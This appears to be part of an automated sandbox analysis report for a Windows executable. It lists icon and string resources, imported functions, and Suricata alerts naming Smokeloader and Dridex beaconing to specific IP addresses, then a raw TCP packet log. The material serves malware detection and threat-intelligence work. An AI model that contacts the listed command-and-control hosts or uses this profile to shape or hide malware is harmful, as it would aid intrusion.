RT_ICON	0x118da0	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9216	Turkish	Turkey	0.5244813278008299
RT_ICON	0x11b348	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4096	Turkish	Turkey	0.6282833020637899
RT_ICON	0x11c3f0	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2304	Turkish	Turkey	0.6409836065573771
RT_ICON	0x11cd78	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1024	Turkish	Turkey	0.774822695035461
RT_ICON	0x11d258	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0	Turkish	Turkey	0.39712153518123666
RT_ICON	0x11e100	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0	Turkish	Turkey	0.5613718411552346
RT_ICON	0x11e9a8	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 0	Turkish	Turkey	0.6244239631336406
RT_ICON	0x11f070	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0	Turkish	Turkey	0.6372832369942196
RT_ICON	0x11f5d8	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 0	Turkish	Turkey	0.4448874296435272
RT_ICON	0x120680	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 0	Turkish	Turkey	0.4364754098360656
RT_ICON	0x121008	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0	Turkish	Turkey	0.48404255319148937
RT_ICON	0x1214d8	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2304, 256 important colors	Turkish	Turkey	0.39738805970149255
RT_ICON	0x122380	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1024, 256 important colors	Turkish	Turkey	0.49864620938628157
RT_ICON	0x122c28	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 576, 256 important colors	Turkish	Turkey	0.5213133640552995
RT_ICON	0x1232f0	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 256, 256 important colors	Turkish	Turkey	0.5614161849710982
RT_ICON	0x123858	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	Turkish	Turkey	0.350103734439834
RT_ICON	0x125e00	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4224	Turkish	Turkey	0.37617260787992496
RT_ICON	0x126ea8	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2400	Turkish	Turkey	0.39918032786885244
RT_ICON	0x127830	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	Turkish	Turkey	0.4122340425531915
RT_STRING	0x12b5b8	0x424	data			0.44622641509433963
RT_STRING	0x12b9e0	0x6c4	data			0.4255196304849885
RT_STRING	0x12c0a8	0x620	data			0.4406887755102041
RT_STRING	0x12c6c8	0x514	data			0.4576923076923077
RT_STRING	0x12cbe0	0x660	data			0.4375
RT_STRING	0x12d240	0x66e	data			0.4307411907654921
RT_STRING	0x12d8b0	0x7b2	data			0.42233502538071066
RT_STRING	0x12e068	0x7e6	data			0.42037586547972305
RT_STRING	0x12e850	0x5f4	data			0.4416010498687664
RT_STRING	0x12ee48	0x6d0	data			0.4288990825688073
RT_STRING	0x12f518	0x790	data			0.42613636363636365
RT_STRING	0x12fca8	0x464	data			0.45462633451957296
RT_STRING	0x130110	0xcc	data			0.5490196078431373
RT_GROUP_CURSOR	0x12b3e8	0x22	data			1.088235294117647
RT_GROUP_ICON	0x127c98	0x76	data	Turkish	Turkey	0.6694915254237288
RT_GROUP_ICON	0x11d1e0	0x76	data	Turkish	Turkey	0.6610169491525424
RT_GROUP_ICON	0x121470	0x68	data	Turkish	Turkey	0.7115384615384616
RT_VERSION	0x12b410	0x1a8	data			0.589622641509434

Imports

DLL	Import
KERNEL32.dll	SetPriorityClass, GetConsoleAliasesLengthW, CopyFileExW, GetNumaProcessorNode, ReadConsoleA, GetEnvironmentStringsW, WaitForSingleObject, InterlockedCompareExchange, FreeEnvironmentStringsA, GetModuleHandleW, FormatMessageA, SetCommState, GetCommandLineA, GlobalAlloc, GetVolumeInformationA, CopyFileW, GetConsoleAliasExesLengthW, GetSystemTimeAdjustment, WriteConsoleOutputA, GetFileAttributesA, HeapCreate, SetConsoleMode, GetBinaryTypeA, SearchPathW, GetLastError, GetProcAddress, GetLongPathNameA, MoveFileW, SearchPathA, LoadLibraryA, LocalAlloc, QueryDosDeviceW, FindAtomA, CreatePipe, GetModuleFileNameA, GetDefaultCommConfigA, GetModuleHandleA, BuildCommDCBA, PurgeComm, FatalAppExitA, WriteConsoleOutputAttribute, GetStdHandle, GetComputerNameA, HeapFree, Sleep, ExitProcess, GetStartupInfoW, TerminateProcess, GetCurrentProcess, UnhandledExceptionFilter, SetUnhandledExceptionFilter, IsDebuggerPresent, VirtualFree, DeleteCriticalSection, LeaveCriticalSection, EnterCriticalSection, HeapAlloc, VirtualAlloc, HeapReAlloc, GetCPInfo, InterlockedIncrement, InterlockedDecrement, GetACP, GetOEMCP, IsValidCodePage, TlsGetValue, TlsAlloc, TlsSetValue, TlsFree, SetLastError, GetCurrentThreadId, WriteFile, InitializeCriticalSectionAndSpinCount, GetModuleFileNameW, FreeEnvironmentStringsW, GetCommandLineW, SetHandleCount, GetFileType, GetStartupInfoA, QueryPerformanceCounter, GetTickCount, GetCurrentProcessId, GetSystemTimeAsFileTime, RtlUnwind, LCMapStringA, WideCharToMultiByte, MultiByteToWideChar, LCMapStringW, GetStringTypeA, GetStringTypeW, GetLocaleInfoA, HeapSize
USER32.dll	GetFocus
ADVAPI32.dll	ObjectPrivilegeAuditAlarmW

Possible Origin

Language of compilation system	Country where language is spoken	Map
Turkish	Turkey

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-08T18:23:27.750526+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.6	49836	160.177.223.165	80	TCP
2024-10-08T18:23:28.876636+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.6	49842	160.177.223.165	80	TCP
2024-10-08T18:23:29.764123+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.6	49843	160.177.223.165	80	TCP
2024-10-08T18:23:31.473826+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.6	61260	160.177.223.165	80	TCP
2024-10-08T18:23:32.363126+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.6	61270	160.177.223.165	80	TCP
2024-10-08T18:23:33.235140+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.6	61279	160.177.223.165	80	TCP
2024-10-08T18:23:36.225749+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.6	61297	160.177.223.165	80	TCP
2024-10-08T18:23:37.095845+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.6	61302	160.177.223.165	80	TCP
2024-10-08T18:23:38.050287+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.6	61308	160.177.223.165	80	TCP
2024-10-08T18:23:38.944473+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.6	61315	160.177.223.165	80	TCP
2024-10-08T18:23:40.657509+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.6	61321	160.177.223.165	80	TCP
2024-10-08T18:23:41.860681+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.6	61327	160.177.223.165	80	TCP
2024-10-08T18:23:42.740213+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.6	61334	160.177.223.165	80	TCP
2024-10-08T18:23:43.610880+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.6	61340	160.177.223.165	80	TCP
2024-10-08T18:23:44.513005+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.6	61347	160.177.223.165	80	TCP
2024-10-08T18:23:45.415476+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.6	61355	160.177.223.165	80	TCP
2024-10-08T18:23:46.357847+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.6	61360	160.177.223.165	80	TCP
2024-10-08T18:23:47.252091+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.6	61365	160.177.223.165	80	TCP
2024-10-08T18:23:48.814052+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.6	61370	160.177.223.165	80	TCP
2024-10-08T18:23:49.702109+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.6	61375	160.177.223.165	80	TCP
2024-10-08T18:23:50.575715+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.6	61382	160.177.223.165	80	TCP
2024-10-08T18:23:51.441127+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.6	61388	160.177.223.165	80	TCP
2024-10-08T18:23:52.527195+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.6	61397	160.177.223.165	80	TCP
2024-10-08T18:23:53.404922+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.6	61404	160.177.223.165	80	TCP
2024-10-08T18:23:55.559019+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.6	61419	160.177.223.165	80	TCP
2024-10-08T18:23:56.454433+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.6	61424	160.177.223.165	80	TCP
2024-10-08T18:23:57.351748+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.6	61425	160.177.223.165	80	TCP
2024-10-08T18:23:58.386607+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.6	61426	160.177.223.165	80	TCP
2024-10-08T18:23:59.891018+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.6	61427	160.177.223.165	80	TCP
2024-10-08T18:24:00.795610+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.6	61428	160.177.223.165	80	TCP
2024-10-08T18:24:01.754405+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.6	61429	160.177.223.165	80	TCP
2024-10-08T18:24:02.629838+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.6	61430	160.177.223.165	80	TCP
2024-10-08T18:24:20.366638+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.6	61433	23.145.40.168	443	TCP
2024-10-08T18:24:20.818347+0200	2809882	ETPRO MALWARE Dridex Post Checkin Activity 3	1	192.168.2.6	61433	23.145.40.168	443	TCP
2024-10-08T18:24:20.948318+0200	2829848	ETPRO MALWARE SmokeLoader encrypted module (3)	2	23.145.40.168	443	192.168.2.6	61433	TCP
2024-10-08T18:24:21.816752+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.6	61434	23.145.40.168	443	TCP
2024-10-08T18:24:22.092535+0200	2809882	ETPRO MALWARE Dridex Post Checkin Activity 3	1	192.168.2.6	61434	23.145.40.168	443	TCP
2024-10-08T18:24:22.716146+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.6	61435	23.145.40.168	443	TCP
2024-10-08T18:24:23.001256+0200	2809882	ETPRO MALWARE Dridex Post Checkin Activity 3	1	192.168.2.6	61435	23.145.40.168	443	TCP
2024-10-08T18:24:23.603368+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.6	61436	23.145.40.168	443	TCP
2024-10-08T18:24:23.881130+0200	2809882	ETPRO MALWARE Dridex Post Checkin Activity 3	1	192.168.2.6	61436	23.145.40.168	443	TCP
2024-10-08T18:24:24.559269+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.6	61437	23.145.40.168	443	TCP
2024-10-08T18:24:24.867432+0200	2809882	ETPRO MALWARE Dridex Post Checkin Activity 3	1	192.168.2.6	61437	23.145.40.168	443	TCP
2024-10-08T18:24:25.495258+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.6	61438	23.145.40.168	443	TCP
2024-10-08T18:24:26.230287+0200	2809882	ETPRO MALWARE Dridex Post Checkin Activity 3	1	192.168.2.6	61438	23.145.40.168	443	TCP
2024-10-08T18:24:27.083217+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.6	61439	23.145.40.168	443	TCP
2024-10-08T18:24:27.381937+0200	2809882	ETPRO MALWARE Dridex Post Checkin Activity 3	1	192.168.2.6	61439	23.145.40.168	443	TCP
2024-10-08T18:24:28.004185+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.6	61440	23.145.40.168	443	TCP
2024-10-08T18:24:28.284963+0200	2809882	ETPRO MALWARE Dridex Post Checkin Activity 3	1	192.168.2.6	61440	23.145.40.168	443	TCP
2024-10-08T18:24:28.889008+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.6	61441	23.145.40.168	443	TCP
2024-10-08T18:24:29.177525+0200	2809882	ETPRO MALWARE Dridex Post Checkin Activity 3	1	192.168.2.6	61441	23.145.40.168	443	TCP
2024-10-08T18:24:29.775842+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.6	61442	23.145.40.168	443	TCP
2024-10-08T18:24:30.062705+0200	2809882	ETPRO MALWARE Dridex Post Checkin Activity 3	1	192.168.2.6	61442	23.145.40.168	443	TCP
2024-10-08T18:24:30.682604+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.6	61443	23.145.40.168	443	TCP
2024-10-08T18:24:30.976278+0200	2809882	ETPRO MALWARE Dridex Post Checkin Activity 3	1	192.168.2.6	61443	23.145.40.168	443	TCP
2024-10-08T18:24:31.837606+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.6	61444	23.145.40.168	443	TCP
2024-10-08T18:24:32.127269+0200	2809882	ETPRO MALWARE Dridex Post Checkin Activity 3	1	192.168.2.6	61444	23.145.40.168	443	TCP
2024-10-08T18:24:32.735891+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.6	61445	23.145.40.168	443	TCP
2024-10-08T18:24:33.084547+0200	2809882	ETPRO MALWARE Dridex Post Checkin Activity 3	1	192.168.2.6	61445	23.145.40.168	443	TCP
2024-10-08T18:24:33.708055+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.6	61446	23.145.40.168	443	TCP
2024-10-08T18:24:34.334207+0200	2809882	ETPRO MALWARE Dridex Post Checkin Activity 3	1	192.168.2.6	61446	23.145.40.168	443	TCP
2024-10-08T18:24:35.121047+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.6	61447	23.145.40.168	443	TCP
2024-10-08T18:24:35.402522+0200	2809882	ETPRO MALWARE Dridex Post Checkin Activity 3	1	192.168.2.6	61447	23.145.40.168	443	TCP
2024-10-08T18:24:36.013059+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.6	61448	23.145.40.168	443	TCP
2024-10-08T18:24:36.310731+0200	2809882	ETPRO MALWARE Dridex Post Checkin Activity 3	1	192.168.2.6	61448	23.145.40.168	443	TCP
2024-10-08T18:24:36.915028+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.6	61449	23.145.40.168	443	TCP
2024-10-08T18:24:37.202175+0200	2809882	ETPRO MALWARE Dridex Post Checkin Activity 3	1	192.168.2.6	61449	23.145.40.168	443	TCP
2024-10-08T18:24:38.479188+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.6	61450	23.145.40.168	443	TCP
2024-10-08T18:24:38.785716+0200	2809882	ETPRO MALWARE Dridex Post Checkin Activity 3	1	192.168.2.6	61450	23.145.40.168	443	TCP
2024-10-08T18:24:39.402725+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.6	61451	23.145.40.168	443	TCP
2024-10-08T18:24:39.673217+0200	2809882	ETPRO MALWARE Dridex Post Checkin Activity 3	1	192.168.2.6	61451	23.145.40.168	443	TCP
2024-10-08T18:24:40.283939+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.6	61452	23.145.40.168	443	TCP
2024-10-08T18:24:40.573653+0200	2809882	ETPRO MALWARE Dridex Post Checkin Activity 3	1	192.168.2.6	61452	23.145.40.168	443	TCP
2024-10-08T18:24:46.922823+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.6	61454	23.145.40.168	443	TCP
2024-10-08T18:24:47.342548+0200	2809882	ETPRO MALWARE Dridex Post Checkin Activity 3	1	192.168.2.6	61454	23.145.40.168	443	TCP
2024-10-08T18:25:09.724772+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.6	61455	160.177.223.165	80	TCP
2024-10-08T18:25:11.261402+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.6	61456	160.177.223.165	80	TCP
2024-10-08T18:25:17.849622+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.6	61457	160.177.223.165	80	TCP
2024-10-08T18:25:25.694218+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.6	61458	160.177.223.165	80	TCP
2024-10-08T18:25:34.893758+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.6	61459	160.177.223.165	80	TCP
2024-10-08T18:25:46.638196+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.6	61461	160.177.223.165	80	TCP
2024-10-08T18:25:59.919254+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.6	61462	160.177.223.165	80	TCP
2024-10-08T18:26:00.552603+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.6	61463	23.145.40.168	443	TCP
2024-10-08T18:26:01.029765+0200	2809882	ETPRO MALWARE Dridex Post Checkin Activity 3	1	192.168.2.6	61463	23.145.40.168	443	TCP
2024-10-08T18:26:17.303628+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.6	61465	23.145.40.168	443	TCP
2024-10-08T18:26:17.380497+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.6	61464	190.249.249.14	80	TCP
2024-10-08T18:26:17.815560+0200	2809882	ETPRO MALWARE Dridex Post Checkin Activity 3	1	192.168.2.6	61465	23.145.40.168	443	TCP
2024-10-08T18:26:36.769052+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.6	61466	190.249.249.14	80	TCP
2024-10-08T18:26:37.622347+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.6	61467	23.145.40.168	443	TCP
2024-10-08T18:26:37.988810+0200	2809882	ETPRO MALWARE Dridex Post Checkin Activity 3	1	192.168.2.6	61467	23.145.40.168	443	TCP
2024-10-08T18:26:55.070440+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.6	61469	190.249.249.14	80	TCP
2024-10-08T18:26:56.007175+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.6	61470	23.145.40.168	443	TCP
2024-10-08T18:26:56.524821+0200	2809882	ETPRO MALWARE Dridex Post Checkin Activity 3	1	192.168.2.6	61470	23.145.40.168	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 8, 2024 18:23:26.752580881 CEST	49836	80	192.168.2.6	160.177.223.165
Oct 8, 2024 18:23:26.761591911 CEST	80	49836	160.177.223.165	192.168.2.6
Oct 8, 2024 18:23:26.761660099 CEST	49836	80	192.168.2.6	160.177.223.165
Oct 8, 2024 18:23:26.761815071 CEST	49836	80	192.168.2.6	160.177.223.165
Oct 8, 2024 18:23:26.761830091 CEST	49836	80	192.168.2.6	160.177.223.165
Oct 8, 2024 18:23:26.769870043 CEST	80	49836	160.177.223.165	192.168.2.6
Oct 8, 2024 18:23:26.769880056 CEST	80	49836	160.177.223.165	192.168.2.6
Oct 8, 2024 18:23:27.749219894 CEST	80	49836	160.177.223.165	192.168.2.6
Oct 8, 2024 18:23:27.750324011 CEST	80	49836	160.177.223.165	192.168.2.6
Oct 8, 2024 18:23:27.750525951 CEST	49836	80	192.168.2.6	160.177.223.165
Oct 8, 2024 18:23:27.750525951 CEST	49836	80	192.168.2.6	160.177.223.165
Oct 8, 2024 18:23:27.755516052 CEST	80	49836	160.177.223.165	192.168.2.6
Oct 8, 2024 18:23:27.779172897 CEST	49842	80	192.168.2.6	160.177.223.165
Oct 8, 2024 18:23:27.784229040 CEST	80	49842	160.177.223.165	192.168.2.6
Oct 8, 2024 18:23:27.784296036 CEST	49842	80	192.168.2.6	160.177.223.165
Oct 8, 2024 18:23:27.790044069 CEST	49842	80	192.168.2.6	160.177.223.165
Oct 8, 2024 18:23:27.790143013 CEST	49842	80	192.168.2.6	160.177.223.165
Oct 8, 2024 18:23:27.794941902 CEST	80	49842	160.177.223.165	192.168.2.6
Oct 8, 2024 18:23:27.795042038 CEST	80	49842	160.177.223.165	192.168.2.6
Oct 8, 2024 18:23:28.876461029 CEST	80	49842	160.177.223.165	192.168.2.6
Oct 8, 2024 18:23:28.876527071 CEST	80	49842	160.177.223.165	192.168.2.6
Oct 8, 2024 18:23:28.876571894 CEST	80	49842	160.177.223.165	192.168.2.6
Oct 8, 2024 18:23:28.876636028 CEST	49842	80	192.168.2.6	160.177.223.165
Oct 8, 2024 18:23:28.876768112 CEST	49842	80	192.168.2.6	160.177.223.165
Oct 8, 2024 18:23:28.880064011 CEST	49843	80	192.168.2.6	160.177.223.165
Oct 8, 2024 18:23:28.885540962 CEST	80	49842	160.177.223.165	192.168.2.6
Oct 8, 2024 18:23:28.885576010 CEST	80	49843	160.177.223.165	192.168.2.6
Oct 8, 2024 18:23:28.885680914 CEST	49843	80	192.168.2.6	160.177.223.165
Oct 8, 2024 18:23:28.886717081 CEST	49843	80	192.168.2.6	160.177.223.165
Oct 8, 2024 18:23:28.886749983 CEST	49843	80	192.168.2.6	160.177.223.165
Oct 8, 2024 18:23:28.892055988 CEST	80	49843	160.177.223.165	192.168.2.6
Oct 8, 2024 18:23:28.892085075 CEST	80	49843	160.177.223.165	192.168.2.6
Oct 8, 2024 18:23:29.763870001 CEST	80	49843	160.177.223.165	192.168.2.6
Oct 8, 2024 18:23:29.764076948 CEST	80	49843	160.177.223.165	192.168.2.6
Oct 8, 2024 18:23:29.764122963 CEST	49843	80	192.168.2.6	160.177.223.165
Oct 8, 2024 18:23:29.775805950 CEST	49843	80	192.168.2.6	160.177.223.165
Oct 8, 2024 18:23:29.780644894 CEST	80	49843	160.177.223.165	192.168.2.6
Oct 8, 2024 18:23:30.608113050 CEST	61260	80	192.168.2.6	160.177.223.165
Oct 8, 2024 18:23:30.613914013 CEST	80	61260	160.177.223.165	192.168.2.6
Oct 8, 2024 18:23:30.613987923 CEST	61260	80	192.168.2.6	160.177.223.165
Oct 8, 2024 18:23:30.614135027 CEST	61260	80	192.168.2.6	160.177.223.165
Oct 8, 2024 18:23:30.614164114 CEST	61260	80	192.168.2.6	160.177.223.165
Oct 8, 2024 18:23:30.620393038 CEST	80	61260	160.177.223.165	192.168.2.6
Oct 8, 2024 18:23:30.620404959 CEST	80	61260	160.177.223.165	192.168.2.6
Oct 8, 2024 18:23:31.471081972 CEST	80	61260	160.177.223.165	192.168.2.6
Oct 8, 2024 18:23:31.472397089 CEST	80	61260	160.177.223.165	192.168.2.6
Oct 8, 2024 18:23:31.473825932 CEST	61260	80	192.168.2.6	160.177.223.165
Oct 8, 2024 18:23:31.473874092 CEST	61260	80	192.168.2.6	160.177.223.165
Oct 8, 2024 18:23:31.476577044 CEST	61270	80	192.168.2.6	160.177.223.165
Oct 8, 2024 18:23:31.478756905 CEST	80	61260	160.177.223.165	192.168.2.6
Oct 8, 2024 18:23:31.481503010 CEST	80	61270	160.177.223.165	192.168.2.6
Oct 8, 2024 18:23:31.481673956 CEST	61270	80	192.168.2.6	160.177.223.165
Oct 8, 2024 18:23:31.481729031 CEST	61270	80	192.168.2.6	160.177.223.165
Oct 8, 2024 18:23:31.481729031 CEST	61270	80	192.168.2.6	160.177.223.165
Oct 8, 2024 18:23:31.486627102 CEST	80	61270	160.177.223.165	192.168.2.6
Oct 8, 2024 18:23:31.486639977 CEST	80	61270	160.177.223.165	192.168.2.6
Oct 8, 2024 18:23:32.360177994 CEST	80	61270	160.177.223.165	192.168.2.6
Oct 8, 2024 18:23:32.363063097 CEST	80	61270	160.177.223.165	192.168.2.6
Oct 8, 2024 18:23:32.363126040 CEST	61270	80	192.168.2.6	160.177.223.165
Oct 8, 2024 18:23:32.363344908 CEST	61270	80	192.168.2.6	160.177.223.165
Oct 8, 2024 18:23:32.365861893 CEST	61279	80	192.168.2.6	160.177.223.165
Oct 8, 2024 18:23:32.369199038 CEST	80	61270	160.177.223.165	192.168.2.6
Oct 8, 2024 18:23:32.370800018 CEST	80	61279	160.177.223.165	192.168.2.6
Oct 8, 2024 18:23:32.370882034 CEST	61279	80	192.168.2.6	160.177.223.165
Oct 8, 2024 18:23:32.370985031 CEST	61279	80	192.168.2.6	160.177.223.165
Oct 8, 2024 18:23:32.371001005 CEST	61279	80	192.168.2.6	160.177.223.165
Oct 8, 2024 18:23:32.376142025 CEST	80	61279	160.177.223.165	192.168.2.6
Oct 8, 2024 18:23:32.376159906 CEST	80	61279	160.177.223.165	192.168.2.6
Oct 8, 2024 18:23:33.234069109 CEST	80	61279	160.177.223.165	192.168.2.6
Oct 8, 2024 18:23:33.235070944 CEST	80	61279	160.177.223.165	192.168.2.6
Oct 8, 2024 18:23:33.235140085 CEST	61279	80	192.168.2.6	160.177.223.165
Oct 8, 2024 18:23:33.235191107 CEST	61279	80	192.168.2.6	160.177.223.165
Oct 8, 2024 18:23:33.240106106 CEST	80	61279	160.177.223.165	192.168.2.6
Oct 8, 2024 18:23:35.319185972 CEST	61297	80	192.168.2.6	160.177.223.165
Oct 8, 2024 18:23:35.324708939 CEST	80	61297	160.177.223.165	192.168.2.6
Oct 8, 2024 18:23:35.326994896 CEST	61297	80	192.168.2.6	160.177.223.165
Oct 8, 2024 18:23:35.327059984 CEST	61297	80	192.168.2.6	160.177.223.165
Oct 8, 2024 18:23:35.327059984 CEST	61297	80	192.168.2.6	160.177.223.165
Oct 8, 2024 18:23:35.333250999 CEST	80	61297	160.177.223.165	192.168.2.6
Oct 8, 2024 18:23:35.333262920 CEST	80	61297	160.177.223.165	192.168.2.6
Oct 8, 2024 18:23:36.223494053 CEST	80	61297	160.177.223.165	192.168.2.6
Oct 8, 2024 18:23:36.225657940 CEST	80	61297	160.177.223.165	192.168.2.6
Oct 8, 2024 18:23:36.225749016 CEST	61297	80	192.168.2.6	160.177.223.165
Oct 8, 2024 18:23:36.225800037 CEST	61297	80	192.168.2.6	160.177.223.165
Oct 8, 2024 18:23:36.228240013 CEST	61302	80	192.168.2.6	160.177.223.165
Oct 8, 2024 18:23:36.230659008 CEST	80	61297	160.177.223.165	192.168.2.6
Oct 8, 2024 18:23:36.233339071 CEST	80	61302	160.177.223.165	192.168.2.6
Oct 8, 2024 18:23:36.233429909 CEST	61302	80	192.168.2.6	160.177.223.165
Oct 8, 2024 18:23:36.233551979 CEST	61302	80	192.168.2.6	160.177.223.165
Oct 8, 2024 18:23:36.233597994 CEST	61302	80	192.168.2.6	160.177.223.165
Oct 8, 2024 18:23:36.238550901 CEST	80	61302	160.177.223.165	192.168.2.6
Oct 8, 2024 18:23:36.239418030 CEST	80	61302	160.177.223.165	192.168.2.6
Oct 8, 2024 18:23:37.095662117 CEST	80	61302	160.177.223.165	192.168.2.6
Oct 8, 2024 18:23:37.095726013 CEST	80	61302	160.177.223.165	192.168.2.6
Oct 8, 2024 18:23:37.095844984 CEST	61302	80	192.168.2.6	160.177.223.165
Oct 8, 2024 18:23:37.096050024 CEST	61302	80	192.168.2.6	160.177.223.165
Oct 8, 2024 18:23:37.098428011 CEST	61308	80	192.168.2.6	160.177.223.165
Oct 8, 2024 18:23:37.100872993 CEST	80	61302	160.177.223.165	192.168.2.6
Oct 8, 2024 18:23:37.103379965 CEST	80	61308	160.177.223.165	192.168.2.6
Oct 8, 2024 18:23:37.103471994 CEST	61308	80	192.168.2.6	160.177.223.165
Oct 8, 2024 18:23:37.103588104 CEST	61308	80	192.168.2.6	160.177.223.165
Oct 8, 2024 18:23:37.103601933 CEST	61308	80	192.168.2.6	160.177.223.165
Oct 8, 2024 18:23:37.109330893 CEST	80	61308	160.177.223.165	192.168.2.6
Oct 8, 2024 18:23:37.110419035 CEST	80	61308	160.177.223.165	192.168.2.6
Oct 8, 2024 18:23:38.048799992 CEST	80	61308	160.177.223.165	192.168.2.6
Oct 8, 2024 18:23:38.048923969 CEST	80	61308	160.177.223.165	192.168.2.6
Oct 8, 2024 18:23:38.050287008 CEST	61308	80	192.168.2.6	160.177.223.165
Oct 8, 2024 18:23:38.050319910 CEST	61308	80	192.168.2.6	160.177.223.165
Oct 8, 2024 18:23:38.053503036 CEST	61315	80	192.168.2.6	160.177.223.165
Oct 8, 2024 18:23:38.055557966 CEST	80	61308	160.177.223.165	192.168.2.6
Oct 8, 2024 18:23:38.058856010 CEST	80	61315	160.177.223.165	192.168.2.6
Oct 8, 2024 18:23:38.058999062 CEST	61315	80	192.168.2.6	160.177.223.165
